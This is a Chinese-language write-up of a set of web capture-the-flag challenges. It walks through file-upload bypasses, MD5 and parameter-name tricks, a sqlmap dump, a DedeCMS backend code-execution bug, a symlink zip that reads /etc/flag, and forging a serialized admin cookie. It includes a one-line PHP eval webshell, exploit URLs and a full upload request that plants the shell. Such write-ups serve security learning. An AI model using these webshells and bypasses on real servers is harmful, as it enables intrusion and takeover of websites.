第一次寫,可能會有遺漏疏忽之處,還請海涵Orz。
常規操作
常規操作,試一試 http://114.55.36.69:8009/
只允許上傳jpg、png、gif、rar、zip文件類型!
看到zip
於是猜測是phar://
僞協議讀取。
於是寫個小馬打包成zip文件傳上去。
例如我寫的是south.php
。
<?php @eval($_POST['south']); ?>
然後壓縮成south.zip
,那麼需要訪問以下鏈接。
http://114.55.36.69:8009/index.php?url=phar://upload/5a722d46033ecd25d5ce0f13a0e7d8ec.zip/south
隨後連接小馬,讀到flag。
送分的md5
怎麼還有md5 http://114.55.36.69:8000
md5 crash?<!--$_POST['data1']!== $_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2'] -->fail
很簡單的MD5
繞過,構造如下payload
。
data1[]=QNKCDZO&data2[]=s1091221200a
!!!A_A
!!!A_A !!!-_- http://114.55.36.69:8001/
<?php highlight_file(__FILE__); ini_set("display_error", false); error_reporting(0); $str = isset($_GET['A_A'])?$_GET['A_A']:'A_A'; if (strpos($_SERVER['QUERY_STRING'], "A_A") !==false) { echo 'A_A,have fun'; } elseif ($str<9999999999) { echo 'A_A,too small'; } elseif ((string)$str>0) { echo 'A_A,too big'; } else{ echo file_get_contents('flag.php'); } ?> A_A,too small
這題考過很多次了。
這裏的知識點是當代碼中存在$_REQUEST['user_id']裏面類似的參數的時候,使用" "、"["、"+"、"."這樣的符號的時候回自動轉化成"_"從而造成繞過。 例如構造一個?user_id=1&user.id=2 那麼waf檢測到的就是2而插入數據庫的卻是1。
而數組比所有數字都大,而字符串在強轉比較的時候爲0,因此構造如下payload。
?A.A[]=a
得到flag
。
簡單文件上傳
簡單文件上傳,多試試 http://114.55.36.69:8015
嘗試多次,發現是檢測文件頭來判斷文件類型,那麼使用圖馬可以繞過上傳限制。
命名爲south.jpg.php
可以成功上傳。
提示如下。
uploads/17d4aa23e1d7c8cf1c176485d71effe7b35bdec3/south.peg.php succesfully uploaded!
然後連接圖馬就可以讀flag
了。
新的新聞搜索
這個直接用sqlmap
跑post
注入就可以了【因爲懶得手注】。
python sqlmap.py -r 1.txt -D news —dump
也不再做過度贅述。
真的是dedecms
放出來好幾天的東西,隨便玩玩 http://114.55.36.69:8008
參考DedeCMS V5.7 SP2後臺存在代碼執行漏洞。
後臺admin
弱密碼。
http://114.55.36.69:8008/dede/tpl.php?action=upload
在頁面源代碼中獲取到token值。
<input name='token' type='hidden' value='9ffadcfa24f99fb459bdab3cae23b0b2' />
http://114.55.36.69:8008/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=9ffadcfa24f99fb459bdab3cae23b0b2
然後就能用如下頁面連接小馬。
http://114.55.36.69:8008/include/taglib/moonsec.lib.php
get flag
flag在/etc/flag http://114.55.36.69:8003/
admin
弱密碼登陸。
提示如下。
Welcome admin 退出查看壓縮的flag. 路徑爲 /etc/flag
大概是會解壓傳上去的壓縮文件,然後讀取裏面的內容。
於是使用ln
軟連接。
ln -s /etc/flag test
zip -y 1.zip test
然後上傳打包後的軟連接文件得到flag
。
不一樣的上傳系統
http://114.55.36.69:8002/
似乎是新瓶裝舊酒的原題,安恆一月月賽的題目,不再做過多贅述。
一葉飄零師傅的博客有講述。
這裏抄【並改一下原話】。
Apache
存在解析漏洞。Apache
是從右到左開始判斷解析,如果爲不可識別解析,就再往左判斷。
所以我們準備腳本south.php.png
小馬壓縮成壓縮包上傳即可拿到shell
,我們的png會被解析爲php。
但是這裏有一個小繞過,因爲會刪除帶有php的文件。
但是這裏過濾不嚴謹,PHP大寫即可繞過,最後成功拿到shell,獲得flag。
所以最終寫小馬重命名並打包上傳south1.PHP.png.zip
,然後得到路徑。
/upload/cf417e3635d8414f1621a0e945a68702/south1.PHP.png /upload/cf417e3635d8414f1621a0e945a68702/__MACOSX/._south1.PHP.png
連接就可以得到最終的flag
。
不一般的注入
太菜了,這題沒做出來Orz。
祕密的系統
不久前纔開發的系統,功能也還不完善,代碼也還有待改進 http://114.55.36.69:8014/
看到一個Upload
。
點進去提示您不是管理員,無法使用此功能
。
登陸界面也不能正常訪問。
習慣性的翻看robots.txt
得到如下信息。
User-agent: * Disallow: index.php?r=site/loginuser_1
於是進入登錄界面。
<!-- *** author: cib_zhinianyuxin.com *** code: github.com -->
給出了作者github
的一些信息。
翻看github
,得到一個登陸賬號密碼test/cib_sec
,以及cookie
生成的方法。
secret-system ##README.md *** author: cib_zhinianyuxin.com It's just a system which is not completed , there are some tips: you can use test/cib_sec to login ,but you are not admin! only admin can upload file ,but whichone can not bypass my rules. /** $sign = array( 'id'=>$model->id, 'name'=>$model->username, 'sign'=>md5($model->id.$model->username), ); $_COOKIE['cib'] = serialize($sign); **/
登陸測試賬號後,Google
插件EditThisCookie
可以查看該賬號的cib cookie
是url
編碼的。
a%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22sign%22%3Bs%3A32%3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D
a:3:{s:2:"id";i:2;s:4:"name";s:4:"test";s:4:"sign";s:32:"7cbab5cea99169139e7e6d8ff74ebb77";}
解碼後發現可以構造cib cookie
,改i
爲1
,test
爲admin
,最後的md5
編碼1.admin
得到6c5de1b510e8bdd0bc40eff99dcd03f8
,於是得到如下cookie
。
a:3:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}
再url
編碼後修改cookie
。
%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d
然後成功升級成爲管理員。
一個文件上傳。
Apache2.2.15
漏洞解析。
上傳文件抓包改後綴名爲.php.jpg
。
POST /web/index.php?r=upload%2Fupload HTTP/1.1 Host: 114.55.36.69:8014 Content-Length: 332 Cache-Control: max-age=0 Origin: http://114.55.36.69:8014 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUAu1gUcre21NULzR User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://114.55.36.69:8014/web/index.php?r=upload%2Findex Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8 Cookie: _csrf=ZrheCWNLhMGJ84x9lHiPaGGspHQBAJU_; _csrf_name_7ace9e0d=d13170c019575cfa3f28e142a6c066ad; _csrf_name_7ace9e0d__ckMd5=1725411428d3c49a; cib=%61%3a%33%3a%7b%73%3a%32%3a%22%69%64%22%3b%69%3a%31%3b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%35%3a%22%61%64%6d%69%6e%22%3b%73%3a%34%3a%22%73%69%67%6e%22%3b%73%3a%33%32%3a%22%36%63%35%64%65%31%62%35%31%30%65%38%62%64%64%30%62%63%34%30%65%66%66%39%39%64%63%64%30%33%66%38%22%3b%7d; PHPSESSID=mq4vqc5002uti92f8t4gknh9l6 Connection: close ------WebKitFormBoundaryUAu1gUcre21NULzR Content-Disposition: form-data; name="upload_file"; filename="south.php.jpg" Content-Type: text/php <?php @eval($_POST['south']); ?> ------WebKitFormBoundaryUAu1gUcre21NULzR Content-Disposition: form-data; name="submit" ä¸ä¼ ------WebKitFormBoundaryUAu1gUcre21NULzR--
最後連接小馬得到flag
。